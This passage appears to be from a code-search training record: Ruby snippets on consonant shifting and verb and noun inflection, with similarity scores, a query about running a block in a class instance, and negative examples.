consonant.next\n end\nend", "def get_next_consonant (consonant)\n\treturn 'b' if consonant == 'z'\n\tconsonants = 'bcdfghjklmnpqrstvwxyz'.chars\n\tconsonants[ consonants.index(consonant) + 1 ]\nend", "def get_next_consonant (consonant)\n\treturn 'b' if consonant == 'z'\n\tconsonants = 'bcdfghjklmnpqrstvwxyz'.chars\n\tconsonants[consonants.index(consonant) + 1]\nend", "def noun; end", "def noun; end", "def next_consonant (consonant)\n consonant_downcase = consonant.downcase\n index = CONSONANTS.index(consonant_downcase)\n\n # handle edge case for letter 'z'\n if consonant_downcase == \"z\"\n next_consonant = CONSONANTS[0]\n else\n next_consonant = CONSONANTS[index + 1]\n end\n #Capitalize next letter if the original letter is upper case\n next_consonant = capitalize(consonant, next_consonant)\nend", "def verb(route)\n route.verb.source.gsub(/[$^]/, '')\n end", "def translate_one_consonant( s )\n\n\t\t# store the letters in an array\n\t\tch_array = s.chars\n\n\t\t# then grab the first letter from the array\n\t\tfirst_letter = ch_array.shift\n\n\t\t# put that letter at the back with push and add 'ay'\n\t\tch_array << first_letter + \"ay\"\n\n\t\t# bring it back together\n\t\tch_array.join\n\n\tend", "def verb\n\t\tif link = self.links.find {|link| link.llabel =~ /^(O([DFNTX]?)|P|BI|K|LI|MV|Q)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: LL of %p is %s\" % [ link.lword, link, link.llabel ]\n\t\t\treturn link.lword.sub( /\\.v$/, '' )\n\t\telsif link = self.links.find {|link| link.rlabel =~ /^(SI|S|AF)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: RL of %p is %s\" % [ link.rword, link, link.rlabel ]\n\t\t\treturn link.rword.sub( /\\.v$/, '' )\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def count_verbs\n @regular_verb_count ||= self.alternation_values\n .where(alternation_occurs: 'Regularly').reduce(0) do |sum, av|\n if av.verb then sum + 1 else sum end\n end\n end", "def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def next_consonant(letter)\nconsonant = \"bcdfghjklmnpqrstvwxyz\"\ncurrent_index = consonant.index(letter)\nconsonant[current_index + 1]\n\tif letter == \"z\"\n\t\tprint \"b\"\n\telse letter == \" \"\n\t\tprint \" \"\n\tend\nend", "def regular_ending(verb)\n verb[-2..-1]\n end", "def message\n verb\n end", "def consonant?\n self != 'ㅇ' && kor.chosung?(self)\n end", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn \"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def next_consonant (last_first)\n last_first.map! do |word|\n word.gsub(/[zdhntbcfgjklmpqrsvwxy]/, 'z' => 'b', 'd' => 'f', 'h' => 'j', 'n' => 'p', 't' => 'v', 'b' => 'c', 'c' => 'd', 'f' => 'g', 'g' => 'h', 'j' => 'k', 'k' => 'l', 'l' => 'm', 'm' => 'n', 'p' => 'q', 'q' => 'r', 'r' => 's', 's' => 't', 'v' => 'w', 'w' => 'x', 'x' => 'y', 'y' => 'z')\n end\nend", "def consonant_cancel(sentence)\n words = sentence.split(' ')\n new_words = words.map { |word| del_before_vowel(word) }\n return new_words.join(' ')\nend", "def consonant(letter)\n alphabet = \"bcdfghjklmnpqrstvwxyz\"\n alphabet2 = alphabet.chars.rotate.join('')\n each_id = alphabet.index(letter.downcase)\n next_consonant = alphabet2[each_id]\n end", "def singular\n return word if word.to_s.empty?\n\n find_match(Inflection.configuration.singulars[:noun]) ||\n (uncountable? && word) || find_match(Nouns.singulars) || word\n end", "def next_consonant(letter)\n\tconsonants = \"bcdfghjklmnpqrstvwxyz\"\n\tif letter == \"z\"\n\t\tnext_consonant = \"b\"\n\telse\n\tnext_consonant = consonants[consonants.index(letter) + 1]\nend\nend", "def is_verb(token)\n _is_in(token, @verb_tags)\n end", "def consonant(letter)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\talphabet2 = alphabet.chars.rotate.join('')\n\teach_id = alphabet.index(letter.downcase)\n\tnext_consonant = alphabet2[each_id]\nend", "def consonant(letter)\n\talphabet = \"bcdfghjklmnpqrstvwxyz\"\n\talphabet2 = alphabet.chars.rotate.join('')\n\teach_id = alphabet.index(letter.downcase)\n\tnext_consonant = alphabet2[each_id]\nend", "def indefinite_possessive_pronoun\n return \"its\"\n end", "def consonants # :nodoc:\n /^(y|[bcdfghjklmnprstvwxz]+|qu)/\n end", "def next_consonant(letter)\n\tc_alphabet = \"bcdfghjklmnpqrstvqwxyzb\"\n \tx = c_alphabet.index(letter)\n \tx += 1\n\t c_alphabet[x]\n\nend", "def find_complemental_infix\n verb, complement = @word.chars\n\n if complement == \"得\"\n query = \"#{verb} 不得\"\n else\n query = \"#{verb} 不|得 #{complement}\"\n end\n @complemental_infix = query_leeds_corpus(query) do |context|\n context.match.map(&:text).join\n end\n\n report_words_with_frequency(\"Complemental Infixes\", @complemental_infix)\n end", "def engtagger_lookup sentence\n nouns, verbs = tag_sentence(sentence)\n sentence.words.graph do |word|\n pos = case word\n when ->(w){ verbs.include? w }\n \"verb\"\n when ->(w){ nouns.include? w }\n \"noun\"\n else\n \"unknown\"\n end\n [word, [pos]]\n end\n end", "def path\n return \"\" unless verb_path\n verb_path[1]\n end", "def resolve_reflexive_pronoun(target)\n if target == self\n return \"yourself\".freeze\n end\n if can_see?(target)\n return target.reflexive_pronoun\n else\n return target.indefinite_reflexive_pronoun\n end\n end", "def consonant_rep(array_of_char)\n array_of_char.map! do | char |\n consonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\n if consonants.include? char\n consonant_index = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z', 'b']\n i = consonant_index.index(char) + 1\n char = consonant_index[i] \n else char = char\n end\n end\n array_of_char\nend", "def set_verb\n @verb = Verb.find(params[:id])\n end", "def singularize(word, term: :noun)\n case term\n when :noun, :n\n Noun[word].singular\n when :verb, :v\n Verb[word].singular\n end\n end", "def next_consonant(product)\n spot = 0 \n consonants = \"bcdfghjklmnpqrstvwxyz\"\n while spot < product.length\n if product[spot] == \"z\"\n product[spot] = \"b\"\n elsif consonants.split('').include?(product[spot])\n next_spot = consonants.index(product[spot]) + 1 \n product[spot] = consonants[next_spot]\n end\n spot += 1 \n end\n product\nend", "def next_consonant(name)\n\tconsonants = %w( b c d f g h j k l m n p q r s t v x y z)\n\t\tname = name.downcase.split('')\n\t\tnew_name = name.map do |con|\n\t\tif consonants.include?(con)\n\t\t\tconsonants.rotate(1)[consonants.index(con)]\n\t\telsif consonants == 'z'\n\t\t\tconsonants.replace('b')\n\t\telse\n\t\t\tcon\n\t\tend\n\tend\n\tnew_name.join.capitalize\nend", "def passive_voice_subjunctive_mood_imperfect_tense\n base = present_active_infinitive.gsub(/(.*)(.)$/,\"\\\\1\" + 'ē')\n TenseBlock.new(\n Linguistics::Latin::Verb::LatinVerb::PASSIVE_ENDINGS_FIRST_AND_SECOND_CONJG.map do |ending|\n base + ending\n end,\n { :meaning => Linguistics::Latin::Verb::LatinVerb::MEANINGS[:passive_voice_subjunctive_mood_imperfect_tense] }\n )\n end", "def mad_lib(plural_noun, verb)\n p \"#{plural_noun} are a great way to #{verb} around town.\"\nend", "def consonants(consonants_letter)\r\n consonants = \"bcdefghjklmnpqrstvwxyz\"\r\n current_location = consonants.index(consonants_letter)\r\n new_consonants = current_location + 1\r\n if consonants.index(consonants_letter) == 21\r\n results = \"b\"\r\n else\r\n results = consonants[new_consonants]\r\n end\r\n results\r\nend", "def next_consonant(name)\n\tconsonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \n\t\t\"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\tindex = 0\n\tname = name.split('') # string to array\n\tname_change2 = name.map do |letter| \n\t\tif consonants.include? letter \n\t\t\tconsonants.rotate(1)[consonants.index(letter)]\n\t\telse\n\t\t\tletter\n\t\tend\n\tend\n\tname_change2.join\t# new array convert back to string\nend", "def verbs\n pos 'VERB'\n end", "def next_consonant(name)\n name = name.downcase\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n i = 0\n consonants_changed = \"\"\n\n until i == name.length\n consonants_index = consonants.index(name[i])\n if consonants_index == nil\n consonants_changed += name[i]\n elsif consonants_index == 20\n consonants_changed += \"b\"\n else\n consonants_changed += consonants[consonants_index+1]\n end\n i = i + 1\n end\n return consonants_changed\n end", "def has_verb?(verb)\n @verbs.any? { |v| v.name == verb }\n end", "def expand(infinitive)\n return nil unless (conjugations = list_by_infinitive[infinitive])\n txt = []\n past_tenses, past_participles = conjugations\n txt << \"#{infinitive} (v)\"\n txt << past_tenses.map { |v| \"#{v} (v past)\"}\n txt << past_participles.map { |v| \"#{v} (v participle)\"}\n txt.flatten.join(\"\\n\") + \"\\n\"\n end", "def sentence\n @sentence ||= term.sentence\n end", "def starts_with_consonant?(s)\n return false if s.empty?\n %Q{b c d f g h j k l m q r s t v w x y z}.include? s[0].downcase\nend", "def dluralizer(noun,num)\n if num == 1\n p '#{num} #{noun}'\n elsif num > 1 && noun == \"sheep\"\n p '#{num} #{noun}'\n elsif num > 1 && noun == 'goose'\n p '#{num} geese'\n elsif num > 1 && noun == 'child'\n p '#{num} children'\n elsif num > 1 && noun == 'person'\n p '#{num} people'\n elsif num > 1\n p \"#{num} #{noun}s\"\nend", "def initial_consonants\n \n @@sentence.map { |word|\n if word.start_with?('a','e','i','o','u','A','E','I','O','U') \n \"\" \n else \n consonant_blend = word.split /([aeiou].*)/\n consonant_blend[0]\n\n end\n }\n end", "def newman_conway(num)\n raise ArgumentError if num <= 0\n f = []\n\n if num == 1\n return \"1\"\n elsif num == 2\n return \"1 1\"\n else \n f = [0,1,1]\n i = 3 \n\n while i <= num \n f << f[f[i - 1]] + f[i - f[i - 1]]\n i += 1\n end\n \n string_results = \"\"\n iteration = 0\n f = f[1..-1]\n\n f.each do |result|\n iteration +=1\n if f.length == iteration\n string_results += \"#{result}\"\n else\n string_results += \"#{result}\" + \" \"\n end\n end\n return string_results\n end\nend", "def define_verb(verb)\n @mod.define_singleton_method(verb.to_sym) do |*args, &block|\n class_eval \"Croesus.#{verb}\"\n end\n end", "def pluralizer(num,noun)\n p noun == \"sheep\" ? \"#{num} #{noun}\" : noun == \"geese\" ? \"#{num} #{noun}\" :\n num == 1 && noun == \"child\" ? \"#{num} #{noun}\" : noun == \"child\" ? \"#{num} #{noun}ren\" :\n noun == \"children\" ? \"#{num} child\" : num == 1 && noun == \"people\" ? \"#{num} person\" :\n num > 1 ? \"#{num} #{noun}s\" : nil\nend", "def next_consonant(string)\n\tconsonants = \"bcdfghjklmnpqrstvwxyz\"\n\t#set index of string \n\tindex = 0\n\t#set index of vowels\n\ti = 0\n\t#create an empty string\n\tconverted_string = \"\"\n\t#for each index of the string, checks if equal to corresponding consonant and if so goes to the next consonant by adding one to the index\n\twhile index < string.length\n\t\t#start with if string has \"z\", converts to \"b\"\n\t\tif string[index] == consonants[20]\n\t\t\tconverted_string += \"b\"\n\t\t#if the string has any consonant besides \"z\"\n\t\telsif string[index] == consonants[i]\n\t\t\tconverted_string += consonants[i+1]\n\t\t#if string has vowels doesnt change character\n\t\telse \n\t\t\tconverted_string += string[index]\n\t\tend\n\t\t#go to next index in string\n\t\tindex += 1\n\t\t#reset vowel index to zero\n\t\ti += 1\n\tend\n\tconverted_string\nend", "def next_objective\n next_obj = turn.listen.first\n return unless next_obj\n next_direction = turn.direction_of next_obj\n if turn.feel(next_direction).stairs?\n empty_directions = DIRECTIONS.select do |dir|\n turn.feel(dir).empty?\n end\n empty_directions.first\n else\n next_direction\n end\n end", "def conj?\n words.any? { |wor| wor.pos == 'CONJ' }\n end", "def [](verb)\n return (@actions ||= []).find { |x| x.verb == verb.to_sym }\n end", "def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end", "def double_consonants(string)\n doubled_string = ''\n string.chars.each do |char|\n doubled_string << char\n doubled_string << char if consonant?(char.downcase)\n end\n\n doubled_string\nend", "def newman_conway(num)\n raise ArgumentError if num == 0\n\n output = []\n i = 1\n\n while i <= num\n output << conway_helper(i, output)\n i += 1\n end\n return output.join(\" \")\nend", "def dynamic_phrase_1\r\n\r\n # Verse 1: **1 bottle**\r\n # Verse 0: **No more bottles**\r\n if zero_bottles?\r\n \"No more bottles\"\r\n # Verse 1: **1 bottle**\r\n # Verse x: **x bottles**\r\n else\r\n \"#{bottle_quantity} #{bottle_s}\"\r\n end\r\n end", "def next_consonants(vowel_name)\r\n\tconsonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\r\n\tvowel_name = vowel_name.split('')\r\n\tconsonant_name = vowel_name.map do |consonant|\r\n\t if consonants.include?(consonant)\r\n\t consonants.rotate(1)[consonants.index(consonant)]\r\n\t else\r\n\t consonant\r\n\t end\r\n \tend\r\n consonant_name.join\r\nend", "def attempt actor, command, with_callbacks = false\r\n return nil if command.verb != verb\r\n tokens = command.arguments\r\n result = []\r\n matches = Gamefic::Query::Matches.new([], '', '')\r\n queries.each_with_index do |p, i|\r\n return nil if tokens[i].nil? && matches.remaining == ''\r\n matches = p.resolve(actor, \"#{matches.remaining} #{tokens[i]}\".strip, continued: (i < queries.length - 1))\r\n return nil if matches.objects.empty?\r\n accepted = matches.objects.select { |o| p.accept?(o) }\r\n return nil if accepted.empty?\r\n if p.ambiguous?\r\n result.push accepted\r\n else\r\n return nil if accepted.length != 1\r\n result.push accepted.first\r\n end\r\n end\r\n new(actor, result, with_callbacks)\r\n end", "def get_verbs\n @verbs ||= self.verbs\n end", "def consonants_adv(str)\r\n str = vowel_adv(str)\r\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n str = str.downcase\r\n str = str.split('')\r\n str_new = str.map do |char|\r\n if consonants.include?(char)\r\n consonants.rotate(1)[consonants.index(char)]\r\n else\r\n char\r\n end\r\n end\r\n str_new.join\r\nend" ]
[ "0.73817706", "0.711924", "0.70941365", "0.65594834", "0.6314694", "0.6147397", "0.59960026", "0.5960542", "0.58173", "0.5754453", "0.572694", "0.57061327", "0.57061327", "0.57061327", "0.57061327", "0.57061327", "0.5661531", "0.5596303", "0.5588099", "0.5554679", "0.55406475", "0.553427", "0.5506817", "0.55019283", "0.54243356", "0.540022", "0.5388085", "0.5369511", "0.5361321", "0.53557485", "0.5297706", "0.5266076", "0.52485687", "0.524332", "0.5222196", "0.52073675", "0.52029383", "0.5190368", "0.50916857", "0.50679797", "0.5061226", "0.5061226", "0.50605613", "0.5035605", "0.50090843", "0.5005107", "0.5002523", "0.4991949", "0.4947471", "0.49274284", "0.49269003", "0.49081042", "0.49062625", "0.48989865", "0.4854555", "0.48450089", "0.4838313", "0.48291206", "0.48212513", "0.48192087", "0.48192087", "0.48095664", "0.48071933", "0.4799411", "0.47679353", "0.4764484", "0.47549474", "0.4735386", "0.47214997", "0.47004014", "0.46891597", "0.4680159", "0.4677345", "0.46713686", "0.4663595", "0.46435267", "0.46420434", "0.46307963", "0.46299574", "0.46280324", "0.46051872", "0.4593961", "0.45928773", "0.45647526", "0.45582706", "0.45442572", "0.45255417", "0.4523983", "0.45121422", "0.44943932", "0.44887647", "0.44875672", "0.4483065", "0.44617552", "0.44607934", "0.4459252", "0.4435766", "0.44349682", "0.44322062", "0.4431171" ]
0.70596194
3
Runs a block of code if given in a class instance else only class instance is created
def conjugations if block_given? yield Conjugations.instance else Conjugations.instance end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize (&block)\n instance_exec(&block)\n end", "def in_the(instance, &block)\n instance.instance_eval(&block)\n end", "def onblock(object, id, client = $client)\n if object.class != Class then\n object = ON_INSTANCES[object]\n return 'Error: Unknown instance name given' if object.nil?\n end\n if block_given?\n yield object.new_with_id id.to_i, client\n else\n object.new_with_id id.to_i, client\n end\n end", "def _exec block, *args\n instance_exec(*args, &block)\n end", "def initialize(&block)\n instance_exec(&block) if block_given?\n end", "def singleton_class(&block)\n\t\tif block_given?\n\t\t(class << self; self; end).class_eval(&block)\n\t\tself\n\t\telse\n\t\t(class << self; self; end)\n\t\tend\n\tend", "def block_class() Block; end", "def create(klass, *args, &block)\n\t\t\t#puts caller\n\t\t\tc = klass\n\t\t\t#go through rules\n\t\t\t#ask each replace? klass\n\n\t\t\tif(@rules)\n\t\t\t\t@rules.each { |r| \n\t\t\t\t\tx = r.replace?(klass)\n\t\t\t\t\tif x && r.test?(klass,*args,&block) then c = x end}\n\t\t\tend\n\n\t\t\tif(!c.is_a?(Class)) then\n\t\t\t\traise \"ClassConductor asked to init something which isn't a class: #{c}\"\n\t\t\tend\n\t\t\t\n\t\t\tobj = c.class_conductor_aliased_new(*args,&block)\n\t\t\t\n\t\t\tif(@rules)\n\t\t\t\t@rules.each {|r| if r.wrap?(obj) then obj = r.dowrap(obj) end}\n\t\t\tend\n\t\t\tobj\n\t\tend", "def class() end", "def run_block_3\n p = Proc.new # if new proc is not passed a code block, it looks to see if the current scope has been passed a code block and use that\n p.call # if current scope has not been passed a code block, there will be an error\nend", "def define &block\n new block\n end", "def initialize(&block)\n instance_eval(&block) if block_given?\n end", "def method_missing(meth, *args, &block)\n if args.length == 0\n code = Block.new(meth.to_s , self )\n if block_given?\n add_block code\n code.instance_eval(&block)\n end\n return code\n else\n super\n end\n end", "def inherit_type(klass, &block)\n Class.new(klass) do\n class_eval(&block) if block_given?\n end\n end", "def initialize(&block)\n instance_eval(&block) if block_given?\n end", "def class_via(*args, &blk)\n klass = Class.new(*args)\n klass.class_eval(&blk) unless blk.blank?\n return klass\n end", "def use_block(obj, &method)\n\tmethod.call\nend", "def fixtured_instance( *args, &block )\n\t\tfixclass = self.fixtured_class or\n\t\t\traise ScriptError, \"%p doesn't declare its fixtured class!\" % [ self ]\n\n\t\tinstance = fixclass.new( *args, &block )\n\n\t\tif (( base_decorator = self.decorators[:_] ))\n\t\t\tself.log.debug \"Applying base decorator to %p\" % [ instance ]\n\t\t\tinstance.instance_exec( &base_decorator )\n\t\tend\n\n\t\treturn instance\n\tend", "def class_eval(*args, &block)\n file, line = __find_caller__(caller())\n $__gen_code__[[file, line]] = {\n :binding => self, \n :kind => :class_eval, \n :code => args[0]\n }\n if block_given?\n $__class_eval__.bind(self).call(&block)\n else\n $__class_eval__.bind(self).call(*args)\n end\n end", "def run_block\n if @block\n _block = @block\n @block = nil\n instance_eval &_block\n true\n end\n end", "def run_if(&block)\n @run_if = block\n end", "def run(&block)\n end", "def run(&block); end", "def instance_eval(*args, &block)\n file, line = __find_caller__(caller())\n $__gen_code__[[file, line]] = {\n :binding => self, \n :kind => :instance_eval, \n :code => args[0]\n }\n if block_given?\n $__instance_eval__.bind(self).call(&block)\n else\n $__instance_eval__.bind(self).call(*args)\n end\n end", "def subclass( & block )\n \n return frame_definer.subclass( & block )\n\n end", "def call(&block)\n instance_eval(&block)\n end", "def call(&block)\n instance_eval(&block)\n end", "def call(&block)\n instance_eval(&block)\n end", "def before_instance( & block )\n \n return frame_definer.before_instance( & block )\n \n end", "def run_registration_block(&block)\n instance_exec &block if block_given?\n end", "def process_class exp\n exp.shift unless auto_shift_type # node type\n in_klass exp.shift do\n if block_given? then\n yield\n else\n process_until_empty exp\n end\n end\n s()\n end", "def run_instance(o={})\n raise StandardError.new(\"method_not_defined :launch_new_instance\")\n end", "def evaluate(block, *args)\n return if block.nil?\n if block.is_a? Symbol\n instance_exec(self, *args, &block)\n else\n instance_exec(*args, &block)\n end\n end", "def test_instance_block\n record = nil\n assert_nothing_raised(\"Could not pass a block when creating record\") do\n record = Record.new(:record, :block_eval => :instance, :fields => %w{one}) do\n def process(line)\n line.upcase\n end\n\n def to_line(details)\n details.upcase\n end\n end\n end\n\n assert(record.respond_to?(:process), \"Block was not instance-eval'ed and process was not defined\")\n assert(record.respond_to?(:to_line), \"Block was not instance-eval'ed and to_line was not defined\")\n\n line = \"some text\"\n assert_equal(line.upcase, record.process(line), \"Instance-eval'ed record did not call :process correctly\")\n assert_equal(line.upcase, record.to_line(line), \"Instance-eval'ed record did not call :to_line correctly\")\n end", "def run_registration_block(&block)\n instance_exec &block if block_given?\n end", "def subclass( & block )\n \n add_hook_context( :subclass )\n action( & block ) if block_given?\n \n return self\n\n end", "def initialize(&block)\n @block = block\n end", "def initialize(&block)\n @block = block\n end", "def test_class_for(*mods, &blk)\n klass = Class.new\n klass.class_eval { include(*mods) }\n klass.class_eval(&blk) unless blk.blank?\n return klass\n end", "def run(&blk)\n raise(\"A block is needed to run\") unless block_given?\n @run_logic = blk\n end", "def initialize\n start\n if block_given?\n yield\n stop\n end\n end", "def initialize(name,&ruby_block)\n # Checks and sets the name.\n @name = name.to_sym\n # Sets the block for instantiating a task.\n @ruby_block = ruby_block\n # Sets the instantiation procedure if named.\n return if @name.empty?\n obj = self\n HDLRuby::High.space_reg(@name) do |*args|\n obj.instantiate(*args)\n end\n end", "def initialize(&block)\n @block = block\n end", "def run\n if @block.arity >= 1\n @block.call self\n else\n @block.call\n end\n end", "def call_block\n @_block.call(self) if @_block\n end", "def run; new.run; end", "def define_class_method(name, &block)\n (class << self; self; end).instance_eval do\n define_method name, &block\n end\n end", "def emotive(klass_name, &block)\n spawn_model klass_name, ActiveRecord::Base do\n acts_as_emotive\n class_eval(&block) if block\n end\n end", "def __execute(&block)\n self.instance_eval(&block)\n end", "def create_block_object(&block)\n block\nend", "def wrap_type(klass, &block)\n Class.new do\n include Mixins::Object\n include Mixins::Wrapper\n include Mixins::Castable\n include Mixins::OptionsStorage\n class_eval(&block) if block_given?\n end\n end", "def block?; end", "def execute(&block)\n DSLHelper.new(Class => [:&, :|, :not]) do\n Kernel.load(File.join(File.dirname(__FILE__), 'dsl_ruby_extensions.rb'))\n self.instance_eval(&block)\n end\n end", "def singleton_class_eval &block\n self.singleton_class.class_eval &block\n end", "def test_instance_eval_behavior\n hash_ = Hash.new\n context_self_ = self\n @my_instance_variable_test = :hello\n block_ = proc do\n set_value1('a', 1)\n set_value2('b'){ 2 }\n set_value3('c', 3)\n context_self_.assert_raise(NoMethodError){ set_value3_dslversion('d', 4) }\n context_self_.assert_raise(NoMethodError){ helper_method() }\n context_self_.assert(!instance_variable_defined?(:@my_instance_variable_test))\n context_self_.assert_instance_of(Target1, self)\n end\n Blockenspiel.invoke(block_, Target1.new(hash_), :parameterless => :instance)\n assert_equal(1, hash_['a1'])\n assert_equal(2, hash_['b2'])\n assert_equal(3, hash_['c3'])\n end", "def execute\n if @block\n instance_eval(&@block)\n else\n raise MRubyTestSkip, \"(Not implemented)\"\n end\n end", "def block_given?() end", "def run(*args,&ruby_block)\n # Gain access to the runner as local variable.\n runner_proc = @runner_proc\n # Execute the code generating the accesser in context.\n HDLRuby::High.space_push(@namespace)\n HDLRuby::High.cur_block.open do\n instance_exec(ruby_block,*args,&runner_proc)\n end\n HDLRuby::High.space_pop\n end", "def evaluate(instance, *args, &block)\n cleanroom.new(instance).instance_eval(*args, &block)\n end", "def what_i_am(&block)\n\t\tblock.class\n\tend", "def run(*args,&ruby_block)\n # Gain access to the accesser as local variable.\n runner_proc = @runner_proc\n # Execute the code generating the accesser in context.\n HDLRuby::High.space_push(@namespace)\n HDLRuby::High.cur_block.open do\n instance_exec(ruby_block,*args,&runner_proc)\n end\n HDLRuby::High.space_pop\n end", "def obj_manipulate(*args,&block)\n obj,klass,member = args\n manipulator = Brocade::SAN::Provisioning::ObjectManipulator.new\n # block can define checks and in_session handlers\n yield manipulator\n # standard template follows\n # check if class is proper\n raise_if_obj_is_not obj , klass\n # run run check block - should contain checks not requiring session -> switch access\n manipulator.run_checks\n # starting session\n session do\n # standard transaction check\n raise_if_transaction_running\n # run block defined in in_session block\n manipulator.run_session\n # returns the fresh object\n obj_pull(obj,klass)\n end\n end", "def thor_task(klass, task_name, &block)\n if program.nil?\n warn \"WARNING:thor_task: no program is associated with #{class_name.upcase} task, does not make sense to create a thor task.\" if Bio::Ngs::Utils.verbose?\n return nil\n end \n if klass\n wrapper = self \n klass.class_eval do \n wrapper.options.each_pair do |name, opt|\n method_option name, opt\n end #each_pair\n # Thor's behavior should be respected passing attributes\n define_method task_name do |*args|\n #it's mandatory that the first and second parameter are respectively wrapper and task\n raise ArgumentError, \"wrong number of arguments (#{args.size} for #{block.parameters.size-2})\" if args.size != block.parameters.size-2\n yield wrapper, self, *args\n end\n end#class_eval\n end #klass\n end", "def call\n if @block\n @block.arity < 1 ? self.instance_eval(&@block) : @block.call(self)\n end\n self\n end", "def validatable_object(&block)\n klass= Class.new(Validatable)\n klass.class_eval(&block) if block_given?\n def klass.name\n \"ValidatableObjectInstance\"\n end\n klass\nend", "def run(&block)\n @running_template = block\n end", "def task_instance(name,*args,&ruby_block)\n HDLRuby::High::Std.task_instance(name,*args,&ruby_block)\n end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def run!\n # Have to evalute/execute the block on the instance\n instance_eval &@block\n summary_at_exit\n end", "def is_instance_of? item, klass\n if call? item\n if sexp? item.target\n item.method == :new and item.target.node_type == :const and item.target.value == klass\n else\n item.method == :new and item.target == klass\n end\n else\n false\n end\n end", "def target_class_eval(*args, &block)\n target_singleton_class.class_eval(*args, &block)\n end", "def initialize(owner_class, *args, &block); end", "def instance_exec(*args, &block)\n begin\n old_critical, Thread.critical = Thread.critical, true\n n = 0\n n += 1 while respond_to?(mname=\"__instance_exec#{n}\")\n InstanceExecHelper.module_eval{ define_method(mname, &block) }\n ensure\n Thread.critical = old_critical\n end\n begin\n ret = send(mname, *args)\n ensure\n InstanceExecHelper.module_eval{ remove_method(mname) } rescue nil\n end\n ret\n end", "def meta_eval(&block)\n singleton_class.instance_eval(&block)\n end", "def on_class(class_node); end", "def instance_exec(*args, &block)\n begin\n old_critical, Thread.critical = Thread.critical, true\n n = 0\n n += 1 while respond_to?(mname=\"__instance_exec#{n}\")\n InstanceExecHelper.module_eval{ define_method(mname, &block) }\n ensure\n Thread.critical = old_critical\n end\n begin\n ret = send(mname, *args)\n ensure\n InstanceExecHelper.module_eval{ remove_method(mname) } rescue nil\n end\n ret\n end", "def with(&block)\n raise ArgumentError.new(\"Must pass a block\") unless block_given?\n case block.arity\n when 1\n yield self\n when 0\n instance_methods_eval(&block)\n else\n raise \"block arity must be 0 or 1\"\n end\n end", "def initialize(&block)\n @required_options = []\n instance_exec &block\n end", "def in_class(name)\n name = class_name_from_sexp(name) if name.kind_of?(Sexp)\n @class_stack.unshift name\n yield\n @class_stack.shift\n end", "def class\n <<-CODE\n t1 